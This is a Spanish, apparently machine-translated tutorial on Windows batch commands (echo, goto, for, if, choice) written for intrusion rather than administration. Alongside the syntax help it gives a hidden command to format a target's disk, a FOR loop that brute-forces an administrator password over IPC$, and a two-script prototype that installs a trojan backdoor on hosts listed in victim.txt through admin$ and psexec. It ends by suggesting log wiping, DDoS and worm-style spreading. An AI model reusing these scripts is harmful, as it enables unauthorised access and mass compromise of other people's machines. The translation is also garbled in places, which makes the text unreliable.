Red de conocimiento informático - Aprendizaje de código fuente - ¿Cuáles son los comandos de procesamiento por lotes?

¿Cuáles son los comandos de procesamiento por lotes?

1.Comando de eco

Activa el eco o desactiva la función de solicitud de eco, o muestra un mensaje. Sin ningún parámetro, el comando echo muestra la configuración de eco actual.

Sintaxis

echo [{on|off}] [mensaje]

Muestra echo off / echo hello hello world

En la práctica En En la aplicación, combinaremos este comando con el símbolo de redirección (también llamado símbolo de barra vertical, generalmente > >> ^) para ingresar algunos comandos en un archivo en un formato específico. Esto se reflejará en ejemplos futuros.

2.@ comando

significa que el comando después de @ no se mostrará durante el proceso de intrusión (como el uso del procesamiento por lotes para formatear el disco duro del enemigo), naturalmente el otro. La parte no puede ver lo que usas.

Muestra: @echo off

@echo Ahora inicializando el programa, espere un minuto...

@format X: /q/u/autoset (El comando de formato no puede usar el parámetro /y. Afortunadamente, Microsoft nos dejó el parámetro autoset. El efecto es el mismo que /y.)

3. Especifique saltar a la etiqueta. Después de encontrar la etiqueta, el programa procesará el comando a partir de la siguiente línea.

Sintaxis: ir a etiqueta (la etiqueta es un parámetro que especifica la línea del programa por lotes que se redirigirá).

Ejemplo:

if {%1} = ={} goto noparms

if {%2}=={} goto noparms (Si no entiendes si, %1 y %2 aquí, salta primero, habrá una descripción detallada explicación más adelante)

@Rem verifica los parámetros si es nulo muestra el uso

:noparms

echo Uso: monitor.bat Número de puerto IP del servidor

goto end

El nombre de la etiqueta puede ser arbitrario, pero es mejor usar letras significativas. Agregue un: antes de la letra para indicar que la letra es una etiqueta. El comando goto se basa en esto: para encontrar el siguiente paso y saltar allí. Es mejor tener alguna explicación para que otros puedan entender su intención.

4.Comando Rem

El comando de comentario es equivalente a /*--------*/ en lenguaje C. No se ejecutará, solo iniciará un. El propósito de los comentarios es hacer que sea más fácil de leer para otros y para que usted pueda modificarlos en el futuro.

Mensaje de Rem

Ejemplo: @Rem Aquí está la descripción

5.Comando de pausa

Cuando se ejecuta el comando de pausa, aparece. Se mostrará el siguiente mensaje:

Presione cualquier tecla para continuar

Ejemplo:

@echo off

:begin.

copiar a:*.* d:\back

echo Por favor, coloque un disco nuevo en el controlador A

pausa

ir a comenzar

En este ejemplo, todos los archivos del disco en la unidad A se copian en d:\back. Mientras se muestra un comentario que le solicita que coloque otro disco en la unidad A, el comando de pausa hace que el programa se cuelgue para que pueda reemplazar el disco y luego presionar cualquier tecla para continuar con el procesamiento.

6.Llamar comando

Llama a un programa por lotes desde otro programa por lotes sin finalizar el programa por lotes principal. El comando de llamada acepta una etiqueta para usar como destino de la llamada. Si utiliza Llamar fuera de un script o archivo por lotes, no funcionará desde la línea de comando.

Sintaxis

llamar a [[Unidad:][Ruta] Nombre de archivo [BatchParameters]] [:label [argumentos]]

Parámetros

[Unidad:}[Ruta] Nombre de archivo

Especifica la ubicación y el nombre del programa por lotes que se llamará. El parámetro de nombre de archivo debe tener una extensión .bat o .cmd.

7.comando de inicio

Llamar a programas externos Todos los comandos de DOS y programas de línea de comandos se pueden llamar mediante el comando de inicio.

Parámetros comúnmente utilizados para intrusión:

MIN minimiza la ventana al iniciar

SEPARATE inicia un programa de Windows de 16 bits en un espacio separado

HIGH Inicia la aplicación en la clase de prioridad ALTA

REALTIME Inicia la aplicación en la clase de prioridad REALTIME

WAIT inicia la aplicación y espera a que finalice

parámetros Estos son los argumentos de transmisión del comando/programa

Cuando la aplicación ejecutada es una aplicación GUI de 32 bits, CMD.EXE regresa al símbolo del sistema sin esperar a que finalice la aplicación. Este nuevo comportamiento no ocurrirá si se ejecuta dentro de un script de comando.

8.comando de elección

elección Utilice este comando para permitir al usuario ingresar un carácter para ejecutar diferentes comandos. Al usarlo, debes agregar el parámetro /c: y escribir los caracteres que se pueden ingresar después de c:, sin espacios entre ellos. Su código de retorno es 1234...

Por ejemplo: elección /c:dme defrag,mem,end

Se mostrará

defrag,mem,end[ D ,M,E]?

Muestra:

El contenido de Sample.bat es el siguiente:

@echo off

elección /c: dme defrag,mem,end

if nivel de error 3 goto defrag (el código de error con el valor más alto debe juzgarse primero)

if nivel de error 2 goto mem

if nivel de error 1 ir al final

:defrag

c:\dos\defrag

ir al final

:mem

mem

goto end

:end

echo good bye

Después de ejecutar este archivo, desfragmente, mem,end[D, M,E]? El usuario puede seleccionar d m e, y luego la declaración if emitirá un juicio. d significa ejecutar el segmento del programa etiquetado como defrag, m representa la ejecución del segmento del programa etiquetado como mem y e representa la ejecución del. segmento de programa etiquetado como final. Cada programa Al final del segmento, ir al final se usa para saltar el programa a la etiqueta final, y luego el programa mostrará adiós y el archivo finalizará.

9.If comando

if significa que juzgará si se cumplen las condiciones especificadas y decidirá ejecutar diferentes comandos. Hay tres formatos:

1.if "parámetro" == comando "cadena" a ejecutar

Si el parámetro es igual a la cadena especificada, entonces la condición es verdadera y el comando se ejecuta; de lo contrario, ejecute la siguiente oración.

(Tenga en cuenta los dos signos iguales)

Por ejemplo, si "%1"=="a" da formato a:

if {%1}=={} goto noparms

if {%2}=={} ir a noparms

2. si existe el nombre del archivo comando a ejecutar

Si hay un archivo específico, la condición es verdadero, ejecute el comando; de lo contrario, ejecute la siguiente oración.

Si existe config.sys edite config.sys

3. if errorlevel / if not errorlevel número de comando a ejecutar

Si el código de retorno es igual a el número especificado, si la condición es verdadera, ejecute el comando; de lo contrario, ejecute la siguiente oración.

Por ejemplo, si el nivel de error 2 pasa a x2

Cuando se ejecuta un programa de DOS, devolverá un número a DOS, que se denomina nivel de error o código de retorno. 0 y 1.

10.comando for

El comando for es un comando relativamente complejo, que se utiliza principalmente para ejecutar comandos cíclicamente dentro de un rango específico de parámetros.

Cuando utilice el comando FOR en un archivo por lotes, utilice %%variable para especificar variables

para {%variable|%%variable} en (establecer) el comando do [CommandLineOptions]

%variable especifica un parámetro reemplazable de una sola letra.

(set) Especifica un archivo o un grupo de archivos. Se pueden utilizar caracteres comodín.

comando especifica el comando que se ejecutará para cada archivo.

command-parameters Especifica parámetros o modificadores de línea de comando para un comando específico.

Cuando utilice el comando FOR en un archivo por lotes, utilice %%variable

en lugar de %variable para especificar variables. Los nombres de las variables distinguen entre mayúsculas y minúsculas, por lo que %i es diferente de %I

Si las extensiones de comando están habilitadas, se admiten los siguientes formatos de comando FOR adicionales

:

FOR /D %variable IN (conjunto) DO comando [parámetros-comando]

Si el conjunto contiene comodines, la especificación coincide con el nombre del directorio, no con el nombre del archivo

.

FOR /R [[unidad:]ruta] %variable IN (establecer) DO comando [comando-

Compruebe el árbol de directorios con raíz en la ruta [unidad:], apuntando a cada

Instrucción FOR en un directorio. Si no se especifica ningún directorio después de /R, se utiliza el directorio

actual. Si el conjunto es solo un carácter de punto (.), se enumera el árbol de directorios.

FOR /L %variable IN (inicio,paso,fin) DO comando [command-para

Este conjunto representa una secuencia de números de principio a fin en forma incremental.

Por lo tanto, (1,1,5) producirá la secuencia 1 2 3 4 5, y (5,-1,1) producirá la secuencia

(5 4 3 2 1).

FOR /F ["opciones"] %variable IN (conjunto de archivos) comando DO

FOR /F ["opciones"] %variable IN ("cadena") comando DO

FOR /F ["opciones"] %variable IN (comando) DO comando

O, si la opción usebackq está presente:

FOR /F [" opciones" "] %variable IN (conjunto de archivos) comando DO

FOR /F ["opciones"] %variable IN ("cadena") comando DO

FOR /F [ "opciones" "] %variable IN (comando) DO comando

filenameset es uno o más nombres de archivo. Cada archivo se abre, lee y procesa antes de continuar con el

archivo siguiente en el conjunto de nombres de archivos.

El procesamiento implica leer el archivo, dividirlo en líneas de texto y luego analizar cada línea

en cero o más símbolos. Luego se llama al bucle For con el valor de la variable de cadena de símbolo encontrada

. De forma predeterminada, /F pasa el primer carácter de espacio en blanco que separa

en cada línea de cada archivo. Salta líneas en blanco. Puede anular la operación de análisis predeterminada especificando el parámetro opcional "opciones". Esta cadena entre comillas contiene una o más

palabras clave que especifican diferentes opciones de análisis. Estas palabras clave son:

eol=c - se refiere al final de un carácter de comentario de línea (solo uno)

skip=n - se refiere al número de líneas que se ignorarán al principio del archivo.

delims=xxx: se refiere al conjunto de delimitadores. Esto reemplaza el

delimitador predeterminado establecido para espacios y tabulaciones.

tokens=x,y,m-n: se refiere a qué token de cada fila se pasa a sí mismo para cada iteración

. Esto hace que los nombres de las variables adicionales tengan formato

como un rango. Especifique m con el enésimo símbolo

El último carácter de la cadena de símbolos, el asterisco,

Luego, las variables adicionales se asignarán después de que se resuelva el último símbolo

Acepta texto reservado para líneas.

usebackq: especifica que la nueva sintaxis debe usarse en las siguientes situaciones:

Al ejecutar una cadena entrecomillada como comando y

El carácter de comillas es un comando de cadena literal y permite el uso de comillas dobles en fi

para encerrar nombres de archivos.

muestra1:

FOR /F "eol=; tokens=2,3* delims=, " %i en (myfile.txt) do comando

Analizará cada línea en myfile.txt, ignorará aquellas líneas que comiencen con punto y coma y pasará el segundo y tercer símbolo de cada línea al cuerpo del programa; usará comas y/o

delimitador de espacio. Tenga en cuenta que la declaración en el cuerpo del programa hace referencia a %i para obtener el segundo símbolo, %j para obtener el tercer símbolo y %k para obtener el tercer símbolo. Todos los símbolos restantes después de los símbolos. Para nombres de archivos con espacios

debe encerrar el nombre del archivo entre comillas dobles. Para utilizar comillas dobles de esta manera, también debe utilizar la opción usebackq; de lo contrario, las comillas dobles se interpretarán como la definición de un carácter que se va a analizar como Cadena.

%i se especifica en una declaración for, y %j y %k se especifican mediante la opción

tokens=. Puede especificar hasta 26 símbolos en una línea tokens=

siempre que no intente declarar una variable mayor que la letra z o

Z. Recuerde, las variables FOR son de una sola letra, distinguen entre mayúsculas y minúsculas y son globales.

No se pueden utilizar más de 52 de ellas al mismo tiempo.

También puede utilizar la lógica de análisis FOR /F en cadenas adyacentes

encerrando el conjunto de nombres de archivos entre paréntesis entre comillas simples; De esta manera, la cadena

se tratará como una única línea de entrada en un archivo.

Finalmente, puedes usar el comando FOR /F para analizar la salida del comando. El método consiste en convertir el conjunto de nombres de archivo entre corchetes

en una cadena entre corchetes posteriores. La cadena

se tratará como una línea de comando y se pasará a un sub-CMD.EXE, y su salida se guardará en

la memoria y se analizará como un archivo. Por lo tanto, el siguiente ejemplo:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

enumerará las variables de entorno en el archivo actual nombre del entorno.

Además, se ha mejorado la sustitución de referencias de variables FOR. Ahora puede utilizar la siguiente

sintaxis de opción:

~I - eliminar las comillas ("), expandir %I

%~fI - expandir %I a un nombre de ruta completo

%~dI: expande %I solo a una letra de unidad

%~pI: expande %I solo a una ruta

% ~nI - Expande %I solo a un nombre de archivo

%~xI - Expande %I solo a una extensión de archivo

%~sI - La ruta expandida contiene solo un nombre corto

%~aI - Expande %I a los atributos del archivo

%~tI - Expande %I a la fecha/hora del archivo

%~zI - Expande %I al tamaño del archivo

%~$PATH:I: busque el directorio que figura en la variable de entorno PATH y expanda %I

al primer nombre completo encontrado. La variable de entorno

no está definida o el archivo no se encuentra, esta combinación de teclas expandirá la

cadena vacía

<. Los modificadores se pueden combinar para obtener múltiples. resultados:

%~dpI - Expanda %I solo a una letra de unidad y ruta

%~nxI - Expanda %I solo a un nombre de archivo y extensión

%~fsI - solo expande %I a una ruta completa con un nombre corto

%~dp$PATH:i - busca las columnas enumeradas en la variable de entorno de ruta y expande %I a la primera letra de unidad y ruta encontrada

%~ftzaI - expanda %I al DIR de la línea de salida

En el ejemplo anterior, %I y PATH se pueden reemplazar por otros valores válidos %~.

Termine con un nombre de variable FOR válido. Elija un nombre de variable en mayúsculas como %I.

Es más fácil de leer y evita la confusión con combinaciones de teclas que no distinguen entre mayúsculas y minúsculas. >Lo anterior es la ayuda oficial de MS. Aquí damos algunos ejemplos para explicar específicamente el uso del comando For en intrusión

ejemplo2:

Usar el comando For. para descifrar la contraseña de fuerza bruta de un host Win2k objetivo

Usamos net use \\ip\. "contraseña" /u:"administrator" para intentar conectarnos al host objetivo y escribir la contraseña. contraseña cuando tenga éxito.

El comando más importante es: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

Usar i% para representar la contraseña de administrador en dict.txt, tome el valor de i% y use el comando net use para conectarse. Luego pase los resultados del programa en ejecución al comando de búsqueda -

for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"| busque ":Comando completado exitosamente">>D:\ok.txt, esto está bien.

muestra3:

¿Alguna vez has tenido una gran cantidad de pollos de engorde esperando que les coloques puertas traseras y troyanos? , cuando el número es particularmente grande, algo que originalmente era muy feliz se vuelve muy deprimente :). El artículo comenzó hablando sobre el uso de archivos por lotes para simplificar tareas rutinarias o repetitivas. Entonces, ¿cómo lograrlo? Jaja, lo entenderás después de leerlo.

Solo hay un comando principal: (Cuando use el comando FOR en un archivo por lotes, use %%variable para especificar variables)

@for /f "tokens=1,2 ,3 delims= " %%i en (victim.txt) comienza a llamar a door.bat %%i %%j %%k

Para el uso de tokens, consulte el ejemplo 1 anterior, donde significa que en orden El contenido de victim.txt se pasa a los parámetros %i %j %k en door.bat.

cultivate.bat no es más que usar el comando net use para establecer una conexión IPC$, copiar el troyano + puerta trasera a la víctima y luego usar el código de retorno (si errorlever =) para filtrar los hosts que ha colocado con éxito la puerta trasera y hace eco o hace eco en el archivo especificado.

delims= significa que el contenido de vivtim.txt está separado por un espacio. Creo que después de ver esto, debes entender cómo es el contenido de victim.txt. Debe organizarse de acuerdo con los objetos representados por %%i %%j %%k, que suele ser el nombre de usuario de la contraseña de IP.

Prototipo de código:

--------------- corte aquí y luego guárdelo como un archivo por lotes (yo lo llamo main.bat) --- --------------------------

@echo apagado

@if "%1"= =" " ir a uso

@for /f "tokens=1,2,3 delims= " %%i en (victim.txt) comienza a llamar a IPChack.bat %%i %%j %% k

@goto end

:usage

@echo ejecuta este lote en dos modle.o simplemente haz doble clic en él

. :end

--------------- corte aquí y luego guárdelo como un archivo por lotes (yo lo llamo main.bat) ----------- --------------

------------------ corte aquí y luego guárdelo como un archivo por lotes (I llámalo puerta.bat) --------------------------

@net usa \\%1\ipc $ % 3 /u:"%2"

@if error nivel 1 goto falló

@echo Intentando establecer la conexión IPC$ …………OK

@ copiar windrv32.exe\\%1\admin$\system32 && si no nivel de error 1 eco IP %1 USUARIO %2 PWD %3 >>ko.txt

@p***ec \\ %1 c:\winnt\system32\windrv32.exe

@p***ec \\%1 net start windrv32 && si no nivel de error 1 echo %1 Puerta trasera >>ko.txt

:failed

@echo Lo sentimos, no puedo conectarme con la víctima

----------------- corte aquí y luego guárdelo como. archivo por lotes (yo lo llamo puerta.bat) --------------------------------

Este es solo un prototipo de un proceso por lotes para instalar puertas traseras automáticamente. Los dos procesos por lotes y el programa de puerta trasera (Windrv32.exe), PSexec.exe, deben colocarse en el mismo directorio. El contenido del procesamiento por lotes puede. ampliarse, por ejemplo: agregue la función de borrar registros + DDOS, agregue la función de agregar usuarios periódicamente y profundice para que tenga una función de propagación automática (gusano).